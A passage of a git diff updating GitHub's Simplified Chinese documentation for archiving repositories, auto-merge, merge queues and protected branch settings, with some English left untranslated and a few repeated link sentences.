+intro: 您可以存档仓库，将其设为对所有用户只读，并且指出不再主动维护它。 您也可以取消存档已经存档的仓库。
 redirect_from:
   - /articles/archiving-repositories
   - /github/creating-cloning-and-archiving-repositories/archiving-repositories
@@ -22,28 +22,26 @@ topics:
 {% ifversion fpt or ghec %}
 {% note %}
 
-**Note:** If you have a legacy per-repository billing plan, you will still be charged for your archived repository. If you don't want to be charged for an archived repository, you must upgrade to a new product. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)."
+**注：**如果原本有各仓库计费计划，您仍然需要对存档的仓库付费。 如果不想对存档的仓库付费，则必须升级到新产品。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 的产品](/articles/github-s-products)”。
 
 {% endnote %}
 {% endif %}
 
 {% data reusables.repositories.archiving-repositories-recommendation %}
 
-Once a repository is archived, you cannot add or remove collaborators or teams. Contributors with access to the repository can only fork or star your project.
+在仓库存档后，便无法添加或删除协作者或团队。 具有仓库访问权限的贡献者只能对项目复刻或标星。
 
-When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. To make changes in an archived repository, you must unarchive the repository first.
+When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. 要更改存档的仓库，必须先对仓库取消存档。
 
-You can search for archived repositories. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)." You can also search for issues and pull requests within archived repositories. For more information, see "[Searching issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)."  
+您可以搜索已存档的仓库。 更多信息请参阅“[搜索仓库](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)”。 更多信息请参阅“[搜索仓库](/articles/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)”。 更多信息请参阅“[搜索议题和拉取请求](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)”。
 
-## Archiving a repository
+## 存档仓库
 
 {% data reusables.repositories.archiving-repositories-recommendation %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under "Danger Zone", click **Archive this repository** or **Unarchive this repository**.
-   ![Archive this repository button](/assets/images/help/repository/archive-repository.png)
-4. Read the warnings.
-5. Type the name of the repository you want to archive or unarchive.
-  ![Archive repository warnings](/assets/images/help/repository/archive-repository-warnings.png)
-6. Click **I understand the consequences, archive this repository**.
+3. 在 "Danger Zone"（危险区域）下，单击 **Archive this repository（存档此仓库）**或 **Unarchive this repository（取消存档此仓库）**。 ![存档此仓库按钮](/assets/images/help/repository/archive-repository.png)
+4. 阅读警告。
+5. 输入要存档或取消存档的仓库的名称。 ![存档仓库警告](/assets/images/help/repository/archive-repository-warnings.png)
+6. 单击 **I understand the consequences, archive this repository（我了解后果，存档此仓库）**。
diff --git a/translations/zh-CN/content/repositories/archiving-a-github-repository/index.md b/translations/zh-CN/content/repositories/archiving-a-github-repository/index.md
index 753b40a4bf..23fecdf4c7 100644
--- a/translations/zh-CN/content/repositories/archiving-a-github-repository/index.md
+++ b/translations/zh-CN/content/repositories/archiving-a-github-repository/index.md
@@ -1,6 +1,6 @@
 ---
-title: Archiving a GitHub repository
-intro: 'You can archive, back up, and cite your work using {% data variables.product.product_name %}, the API, or third-party tools and services.'
+title: 存档 GitHub 仓库
+intro: '您可以使用 {% data variables.product.product_name %}、API 或第三方工具和服务存档、备份和引用您的工作。'
 redirect_from:
   - /articles/can-i-archive-a-repository
   - /articles/archiving-a-github-repository
@@ -18,6 +18,6 @@ children:
   - /about-archiving-content-and-data-on-github
   - /referencing-and-citing-content
   - /backing-up-a-repository
-shortTitle: Archive a repository
+shortTitle: 存档仓库
 ---
 
diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
index 1b863c2771..6a27eccd45 100644
--- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
+++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing auto-merge for pull requests in your repository
-intro: You can allow or disallow auto-merge for pull requests in your repository.
+title: 管理仓库中拉取请求的自动合并
+intro: 您可以允许或禁止仓库中拉取请求的自动合并。
 product: '{% data reusables.gated-features.auto-merge %}'
 versions:
   fpt: '*'
@@ -13,17 +13,17 @@ topics:
 redirect_from:
   - /github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository
   - /github/administering-a-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository
-shortTitle: Manage auto merge
+shortTitle: 管理自动合并
 ---
-## About auto-merge
 
-If you allow auto-merge for pull requests in your repository, people with write permissions can configure individual pull requests in the repository to merge automatically when all merge requirements are met. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}If someone who does not have write permissions pushes changes to a pull request that has auto-merge enabled, auto-merge will be disabled for that pull request. {% endif %}For more information, see "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)."
+## 关于自动合并
 
-## Managing auto-merge
+如果您允许自动合并仓库中的拉取请求，则具有写入权限的用户可以配置仓库中的单个拉取请求在满足所有合并要求时自动合并。 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}如果没有写入权限的人将更改推送到已启用自动合并的拉请求，将对该拉取请求禁用自动合并。 {% endif %}更多信息请参阅“[自动合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)”。
+
+## 管理自动合并
 
 {% data reusables.pull_requests.auto-merge-requires-branch-protection %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-1. Under "Merge button", select or deselect **Allow auto-merge**.
-  ![Checkbox to allow or disallow auto-merge](/assets/images/help/pull_requests/allow-auto-merge-checkbox.png)
+1. 在“Merge button（合并按钮）”下，选择或取消选择 **Allow auto-merge（允许自动合并）**。 ![允许或禁止自动合并的复选框](/assets/images/help/pull_requests/allow-auto-merge-checkbox.png)
diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md
index 6f1a34c11c..677dc8cd36 100644
--- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md
+++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md
@@ -17,7 +17,7 @@ shortTitle: Use merge queue
 
 {% data reusables.pull_requests.merge-queue-overview %}
 
-The merge queue creates temporary preparatory branches to validate pull requests against the latest version of the base branch. To ensure that {% data variables.product.prodname_dotcom %} validates these preparatory branches, you may need to update your CI configuration to trigger builds on branch names starting with `gh/readonly/queue/{base_branch}`. 
+The merge queue creates temporary preparatory branches to validate pull requests against the latest version of the base branch. To ensure that {% data variables.product.prodname_dotcom %} validates these preparatory branches, you may need to update your CI configuration to trigger builds on branch names starting with `gh/readonly/queue/{base_branch}`.
 
 For example, with {% data variables.product.prodname_actions %}, adding the following trigger to a workflow will cause the workflow to run when any push is made to a merge queue preparatory branch that targets `main`.
 
@@ -32,7 +32,7 @@ on:
 
 For information about merge methods, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)." For information about the "Require linear history" branch protection setting, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-linear-history)."
 
-{% note %} 
+{% note %}
 
 **Note:** During the beta, there are some limitations when using the merge queue:
 
@@ -48,7 +48,7 @@ Repository administrators can configure merge queues for pull requests targeting
 
 For information about how to enable the merge queue protection setting, see "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule#creating-a-branch-protection-rule)."
 
-## Further reading
+## 延伸阅读
 
 - "[Adding a pull request to the merge queue](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue)"
-- "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)"
+- "[关于受保护分支](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)"
diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
index 2d760fe6f2..c23e489ed8 100644
--- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
+++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
@@ -1,6 +1,6 @@
 ---
-title: About protected branches
-intro: 'You can protect important branches by setting branch protection rules, which define whether collaborators can delete or force push to the branch and set requirements for any pushes to the branch, such as passing status checks or a linear commit history.'
+title: 关于受保护分支
+intro: 您可以通过设置分支保护规则来保护重要分支，这些规则定义协作者是否可以删除或强制推送到分支以及设置任何分支推送要求，例如通过状态检查或线性提交历史记录。
 product: '{% data reusables.gated-features.protected-branches %}'
 redirect_from:
   - /articles/about-protected-branches
@@ -25,148 +25,159 @@ versions:
 topics:
   - Repositories
 ---
-## About branch protection rules
 
-You can enforce certain workflows or requirements before a collaborator can push changes to a branch in your repository, including merging a pull request into the branch, by creating a branch protection rule.
+## 关于分支保护规则
 
-By default, each branch protection rule disables force pushes to the matching branches and prevents the matching branches from being deleted. You can optionally disable these restrictions and enable additional branch protection settings.
+您可以通过创建分支保护规则，实施某些工作流程或要求，以规定协作者如何向您仓库中的分支推送更改，包括将拉取请求合并到分支。
 
-By default, the restrictions of a branch protection rule don't apply to people with admin permissions to the repository. You can optionally choose to include administrators, too.
+默认情况下，每个分支保护规则都禁止强制推送到匹配的分支并阻止删除匹配的分支。 您可以选择禁用这些限制并启用其他分支保护设置。
 
-{% data reusables.repositories.branch-rules-example %} For more information about branch name patterns, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)."
+默认情况下，分支保护规则的限制不适用于对仓库具有管理员权限的人。 您也可以选择包括管理员。
+
+{% data reusables.repositories.branch-rules-example %} 关于分支名称模式的更多信息，请参阅“[管理分支保护规则](/github/administering-a-repository/managing-a-branch-protection-rule)”。
 
 {% data reusables.pull_requests.you-can-auto-merge %}
 
-## About branch protection settings
+## 关于分支保护设置
 
-For each branch protection rule, you can choose to enable or disable the following settings.
-- [Require pull request reviews before merging](#require-pull-request-reviews-before-merging)
-- [Require status checks before merging](#require-status-checks-before-merging)
+对于每个分支保护规则，您可以选择启用或禁用以下设置。
+- [合并前必需拉取请求审查](#require-pull-request-reviews-before-merging)
+- [合并前必需状态检查](#require-status-checks-before-merging)
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-- [Require conversation resolution before merging](#require-conversation-resolution-before-merging){% endif %}
-- [Require signed commits](#require-signed-commits)
-- [Require linear history](#require-linear-history)
+- [Require conversation resolution before merging（在合并前需要对话解决）](#require-conversation-resolution-before-merging){% endif %}
+- [要求签名提交](#require-signed-commits)
+- [需要线性历史记录](#require-linear-history)
 {% ifversion fpt or ghec %}
 - [Require merge queue](#require-merge-queue)
 {% endif %}
-- [Include administrators](#include-administrators)
-- [Restrict who can push to matching branches](#restrict-who-can-push-to-matching-branches)
-- [Allow force pushes](#allow-force-pushes)
-- [Allow deletions](#allow-deletions)
+- [包括管理员](#include-administrators)
+- [限制谁可以推送到匹配的分支](#restrict-who-can-push-to-matching-branches)
+- [允许强制推送](#allow-force-pushes)
+- [允许删除](#allow-deletions)
 
-For more information on how to set up branch protection, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)."
+有关如何设置分支保护的更多信息，请参阅“[管理分支保护规则](/github/administering-a-repository/managing-a-branch-protection-rule)”。
 
-### Require pull request reviews before merging
+### 合并前必需拉取请求审查
 
 {% data reusables.pull_requests.required-reviews-for-prs-summary %}
 
-If you enable required reviews, collaborators can only push changes to a protected branch via a pull request that is approved by the required number of reviewers with write permissions.
+如果启用必需审查，则协作者只能通过由所需数量的具有写入权限之审查者批准的拉取请求向受保护分支推送更改。
 
-If a person with admin permissions chooses the **Request changes** option in a review, then that person must approve the pull request before the pull request can be merged. If a reviewer who requests changes on a pull request isn't available, anyone with write permissions for the repository can dismiss the blocking review.
+如果具有管理员权限的人在审查中选择 **Request changes（申请更改）**选项，则拉取请求必需经此人批准后才可合并。 如果申请更改拉取请求的审查者没有空，则具有仓库写入权限的任何人都可忽略阻止审查。
 
 {% data reusables.repositories.review-policy-overlapping-commits %}
 
-If a collaborator attempts to merge a pull request with pending or rejected reviews into the protected branch, the collaborator will receive an error message.
+如果协作者尝试将待处理或被拒绝审查的拉取请求合并到受保护分支，则该协作者将收到错误消息。
 
 ```shell
 remote: error: GH006: Protected branch update failed for refs/heads/main.
 remote: error: Changes have been requested.
 ```
 
-Optionally, you can choose to dismiss stale pull request approvals when commits are pushed. If anyone pushes a commit that modifies code to an approved pull request, the approval will be dismissed, and the pull request cannot be merged. This doesn't apply if the collaborator pushes commits that don't modify code, like merging the base branch into the pull request's branch. For information about the base branch, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+（可选）您可以选择在推送提交时忽略旧拉取请求批准。 如果有人将修改代码的提交推送到已批准的拉取请求，则该批准将被忽略，拉取请求无法合并。 这不适用于协作者推送不修改代码的提交，例如将基础分值合并到拉取请求的分支。 有关基础分支的信息，请参阅“[关于拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)”。
 
-Optionally, you can restrict the ability to dismiss pull request reviews to specific people or teams. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)."
+（可选）您可以限制特定人员或团队忽略拉取请求审查的权限。 更多信息请参阅“[忽略拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)”。
 
-Optionally, you can choose to require reviews from code owners. If you do, any pull request that affects code with a code owner must be approved by that code owner before the pull request can be merged into the protected branch.
+（可选）您可以选择要求代码所有者进行审查。 如果这样做，则任何影响代码的拉取请求都必须得到代码所有者的批准，才能合并到受保护分支。
 
-### Require status checks before merging
+### 合并前必需状态检查
 
-Required status checks ensure that all required CI tests are passing before collaborators can make changes to a protected branch. Required status checks can be checks or statuses. For more information, see "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)."
+必需状态检查确保在协作者可以对受保护分支进行更改前，所有必需的 CI 测试都已通过。 更多信息请参阅“[配置受保护分支](/articles/configuring-protected-branches/)”和“[启用必需状态检查](/articles/enabling-required-status-checks)”。 更多信息请参阅“[关于状态检查](/github/collaborating-with-issues-and-pull-requests/about-status-checks)”。
 
-Before you can enable required status checks, you must configure the repository to use the status API. For more information, see "[Repositories](/rest/reference/repos#statuses)" in the REST documentation.
+必须配置仓库使用状态 API 后才可启用必需状态检查。 更多信息请参阅 REST 文档中的“[仓库](/rest/reference/repos#statuses)”。
 
-After enabling required status checks, all required status checks must pass before collaborators can merge changes into the protected branch. After all required status checks pass, any commits must either be pushed to another branch and then merged or pushed directly to the protected branch.
+启用必需状态检查后，必须通过所有必需状态检查，协作者才能将更改合并到受保护分支。 所有必需状态检查通过后，必须将任何提交推送到另一个分支，然后合并或直接推送到受保护分支。
 
-Any person or integration with write permissions to a repository can set the state of any status check in the repository, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check, you can select an app that has recently set this check as the expected source of status updates. If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box.
+Any person or integration with write permissions to a repository can set the state of any status check in the repository{% ifversion fpt or ghes > 3.3 or ghae-issue-5379 or ghec %}, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check, you can select an app that has recently set this check as the expected source of status updates.{% endif %} If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box.
 
-You can set up required status checks to either be "loose" or "strict." The type of required status check you choose determines whether your branch is required to be up to date with the base branch before merging.
+您可以将必需状态检查设置为“宽松”或“严格”。 您选择的必需状态检查类型确定合并之前是否需要使用基础分支将您的分支保持最新状态。
 
-| Type of required status check | Setting | Merge requirements | Considerations |
-| --- | --- | --- | --- |
-| **Strict** | The **Require branches to be up to date before merging** checkbox is checked. | The branch **must** be up to date with the base branch before merging. | This is the default behavior for required status checks. More builds may be required, as you'll need to bring the head branch up to date after other collaborators merge pull requests to the protected base branch.|
-| **Loose** | The **Require branches to be up to date before merging** checkbox is **not** checked. | The branch **does not** have to be up to date with the base branch before merging. | You'll have fewer required builds, as you won't need to bring the head branch up to date after other collaborators merge pull requests. Status checks may fail after you merge your branch if there are incompatible changes with the base branch. |
-| **Disabled** | The **Require status checks to pass before merging** checkbox is **not** checked. | The branch has no merge restrictions. | If required status checks aren't enabled, collaborators can merge the branch at any time, regardless of whether it is up to date with the base branch. This increases the possibility of incompatible changes.
+| 必需状态检查的类型 | 设置                                                                              | 合并要求                         | 考虑因素                                                                          |
+| --------- | ------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------------------------------- |
+| **严格**    | 选中 **Require branches to be up to date before merging（合并前需要分支保持最新状态）**复选框。      | 在合并之前，**必须**使用基础分支使分支保持最新状态。 | 这是必需状态检查的默认行为。 可能需要更多构建，因为在其他协作者将拉取请求合并到受保护基础分支后，您需要使头部分支保持最新状态。              |
+| **宽松**    | **不**选中 **Require branches to be up to date before merging（合并前需要分支保持最新状态）**复选框。 | 在合并之前，**不**必使用基础分支使分支保持最新状态。 | 您将需要更少的构建，因为在其他协作者合并拉取请求后，您不需要使头部分支保持最新状态。 如果存在与基础分支不兼容的变更，则在合并分支后，状态检查可能会失败。 |
+| **已禁用**   | **不**选中 **Require status checks to pass before merging（合并前需要状态检查通过）**复选框。       | 分支没有合并限制。                    | 如果未启用必需状态检查，协作者可以随时合并分支，无论它是否使用基础分支保持最新状态。 这增加了不兼容变更的可能性。                     |
 
-For troubleshooting information, see "[Troubleshooting required status checks](/github/administering-a-repository/troubleshooting-required-status-checks)."
+有关故障排除信息，请参阅“[必需状态检查故障排除](/github/administering-a-repository/troubleshooting-required-status-checks)”。
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-### Require conversation resolution before merging
+### 合并前需要对话解决
 
-Requires all comments on the pull request to be resolved before it can be merged to a protected branch. This ensures that all comments are addressed or acknowledged before merge.
+在合并到受保护的分支之前，所有对拉取请求的评论都需要解决。 这确保所有评论在合并前都得到解决或确认。
 {% endif %}
 
-### Require signed commits
+### 要求签名提交
 
-When you enable required commit signing on a branch, contributors {% ifversion fpt or ghec %}and bots{% endif %} can only push commits that have been signed and verified to the branch. For more information, see "[About commit signature verification](/articles/about-commit-signature-verification)."
+在分支上启用必需提交签名时，贡献者{% ifversion fpt or ghec %}和自动程序{% endif %}只能将已经签名并验证的提交推送到分支。 更多信息请参阅“[关于提交签名验证](/articles/about-commit-signature-verification)”。
 
 {% note %}
 
 {% ifversion fpt or ghec %}
-**Notes:** 
+**注意：**
 
-* If you have enabled vigilant mode, which indicates that your commits will always be signed, any commits that {% data variables.product.prodname_dotcom %} identifies as "Partially verified" are permitted on branches that require signed commits. For more information about vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)."
-* If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch.
+* 如果您已经启用了警戒模式，这表明您的提交总是会签名，允许在需要签名提交的分支上提交 {% data variables.product.prodname_dotcom %} 识别为“部分验证”的任何提交。 有关警戒模式的更多信息，请参阅“[显示所有提交的验证状态](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)”。
+* 如果协作者将未签名的提交推送到要求提交签名的分支，则协作者需要变基提交以包含验证的签名，然后将重写的提交强制推送到分支。
 
 {% else %}
-**Note:** If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch.
+**注：**如果协作者将未签名的提交推送到要求提交签名的分支，则协作者需要变基提交以包含验证的签名，然后将重写的提交强制推送到分支。
 {% endif %}
 
 {% endnote %}
 
-You can always push local commits to the branch if the commits are signed and verified. {% ifversion fpt or ghec %}You can also merge signed and verified commits into the branch using a pull request on {% data variables.product.product_name %}. However, you cannot squash and merge a pull request into the branch on {% data variables.product.product_name %} unless you are the author of the pull request.{% else %} However, you cannot merge pull requests into the branch on {% data variables.product.product_name %}.{% endif %} You can {% ifversion fpt or ghec %}squash and {% endif %}merge pull requests locally. For more information, see "[Checking out pull requests locally](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)."
+如果提交已进行签名和验证，则始终可以将本地提交推送到分支。 {% ifversion fpt or ghec %}您也可以使用 {% data variables.product.product_name %} 上的拉请求将已经签名和验证的提交合并到分支。 但除非您是拉取请求的作者，否则不能将拉取请求压缩并合并到 {% data variables.product.product_name %} 。{% else %}但不能将拉取请求合并到 {% data variables.product.product_name %} 上的分支。{% endif %} 您可以在本地{% ifversion fpt or ghec %}压缩和{% endif %}合并拉取请求。 更多信息请参阅“[在本地检出拉取请求](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)”。
 
-{% ifversion fpt or ghec %} For more information about merge methods, see "[About merge methods on {% data variables.product.prodname_dotcom %}](/github/administering-a-repository/about-merge-methods-on-github)."{% endif %}
+{% ifversion fpt or ghec %} 有关合并方法的更多信息，请参阅“[关于 {% data variables.product.prodname_dotcom %} 上的合并方法](/github/administering-a-repository/about-merge-methods-on-github)”。{% endif %}
 
-### Require linear history
+### 需要线性历史记录
 
-Enforcing a linear commit history prevents collaborators from pushing merge commits to the branch. This means that any pull requests merged into the protected branch must use a squash merge or a rebase merge. A strictly linear commit history can help teams reverse changes more easily. For more information about merge methods, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)."
+强制实施线性提交历史记录可阻止协作者将合并提交推送到分支。 这意味着合并到受保护分支的任何拉取请求都必须使用压缩合并或变基合并。 严格的线性提交历史记录可以帮助团队更容易回溯更改。 有关合并方法的更多信息，请参阅“[关于拉取请求合并](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)”。
 
-Before you can require a linear commit history, your repository must allow squash merging or rebase merging. For more information, see "[Configuring pull request merges](/github/administering-a-repository/configuring-pull-request-merges)."
+在需要线性提交历史记录之前，仓库必须允许压缩合并或变基合并。 更多信息请参阅“[配置拉取请求合并](/github/administering-a-repository/configuring-pull-request-merges)”。
 
 {% ifversion fpt or ghec %}
 ### Require merge queue
 
 {% data reusables.pull_requests.merge-queue-beta %}
 {% data reusables.pull_requests.merge-queue-overview %}
- 
+
 {% data reusables.pull_requests.merge-queue-merging-method %}
 {% data reusables.pull_requests.merge-queue-references %}
 
 {% endif %}
-### Include administrators
+### 包括管理员
 
-By default, protected branch rules do not apply to people with admin permissions to a repository. You can enable this setting to include administrators in your protected branch rules.
+默认情况下，受保护分支规则不适用于对仓库具有管理员权限的人。 您可以启用此设置将管理员纳入受保护分支规则。
 
-### Restrict who can push to matching branches
+### 限制谁可以推送到匹配的分支
 
 {% ifversion fpt or ghec %}
-You can enable branch restrictions if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %}.
+如果您的仓库为使用 {% data variables.product.prodname_team %} 或 {% data variables.product.prodname_ghe_cloud %} 的组织所拥有，您可以启用分支限制。
 {% endif %}
 
-When you enable branch restrictions, only users, teams, or apps that have been given permission can push to the protected branch. You can view and edit the users, teams, or apps with push access to a protected branch in the protected branch's settings.
+启用分支限制时，只有已授予权限的用户、团队或应用程序才能推送到受保护的分支。 您可以在受保护分支的设置中查看和编辑对受保护分支具有推送权限的用户、团队或应用程序。 When status checks are required, the people, teams, and apps that have permission to push to a protected branch will still be prevented from merging if the required checks fail. People, teams, and apps that have permission to push to a protected branch will still need to create a pull request when pull requests are required.
 
-You can only give push access to a protected branch to users, teams, or installed {% data variables.product.prodname_github_apps %} with write access to a repository. People and apps with admin permissions to a repository are always able to push to a protected branch.
+您只能向对仓库具有 write 权限的用户、团队或已安装的 {% data variables.product.prodname_github_apps %} 授予推送到受保护分支的权限。 对仓库具有管理员权限的人员和应用程序始终能够推送到受保护分支。
 
-### Allow force pushes
+### 允许强制推送
 
-By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, anyone with at least write permissions to the repository can force push to the branch, including those with admin permissions. If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
+{% ifversion fpt or ghec %}
+默认情况下，{% data variables.product.product_name %} 阻止对所有受保护分支的强制推送。 When you enable force pushes to a protected branch, you can choose one of two groups who can force push:
 
-Enabling force pushes will not override any other branch protection rules. For example, if a branch requires a linear commit history, you cannot force push merge commits to that branch.
+1. Allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions.
+1. Allow only specific people or teams to force push to the branch.
 
-{% ifversion ghes or ghae %}You cannot enable force pushes for a protected branch if a site administrator has blocked force pushes to all branches in your repository. For more information, see "[Blocking force pushes to repositories owned by a user account or organization](/enterprise/{{ currentVersion }}/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)."
+If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
 
-If a site administrator has blocked force pushes to the default branch only, you can still enable force pushes for any other protected branch.{% endif %}
+{% else %}
+默认情况下，{% data variables.product.product_name %} 阻止对所有受保护分支的强制推送。 对受保护分支启用强制推送时，只要具有仓库写入权限，任何人（包括具有管理员权限的人）都可以强制推送到该分支。 If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
+{% endif %}
 
-### Allow deletions
+启用强制推送不会覆盖任何其他分支保护规则。 例如，如果分支需要线性提交历史记录，则无法强制推送合并提交到该分支。
 
-By default, you cannot delete a protected branch. When you enable deletion of a protected branch, anyone with at least write permissions to the repository can delete the branch.
+{% ifversion ghes or ghae %}如果站点管理员阻止了强制推送到仓库中的所有分支，则无法对受保护分支启用强制推送。 更多信息请参阅“[阻止强制推送到用户帐户或组织拥有的仓库](/enterprise/{{ currentVersion }}/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)”。
+
+如果站点管理员只阻止强制推送到默认分支，您仍然可以为任何其他受保护分支启用强制推送。{% endif %}
+
+### 允许删除
+
+默认情况下，您不能删除受保护的分支。 启用删除受保护分支后，任何对仓库至少拥有写入权限的人都可以删除分支。
diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
index fbef6893f4..9875a6b996 100644
--- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
+++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
@@ -1,6 +1,6 @@
 ---
-title: Defining the mergeability of pull requests
-intro: 'You can require pull requests to pass a set of checks before they can be merged. For example, you can block pull requests that don''t pass status checks or require that pull requests have a specific number of approving reviews before they can be merged.'
+title: 定义拉取请求的可合并性
+intro: 您可以要求拉取请求在可以合并之前先通过一组检查。 例如，您可以阻止未通过状态检查的拉取请求，或要求拉取请求在获得特定数量的批准审查之后才可合并。
 redirect_from:
   - /articles/defining-the-mergeability-of-a-pull-request
   - /articles/defining-the-mergeability-of-pull-requests
@@ -18,6 +18,6 @@ children:
   - /about-protected-branches
   - /managing-a-branch-protection-rule
   - /troubleshooting-required-status-checks
-shortTitle: Mergeability of PRs
+shortTitle: PRs 的合并性
 ---
 
diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
index fe9eb1dd68..4976a307b3 100644
--- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
+++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
@@ -1,6 +1,6 @@
 ---
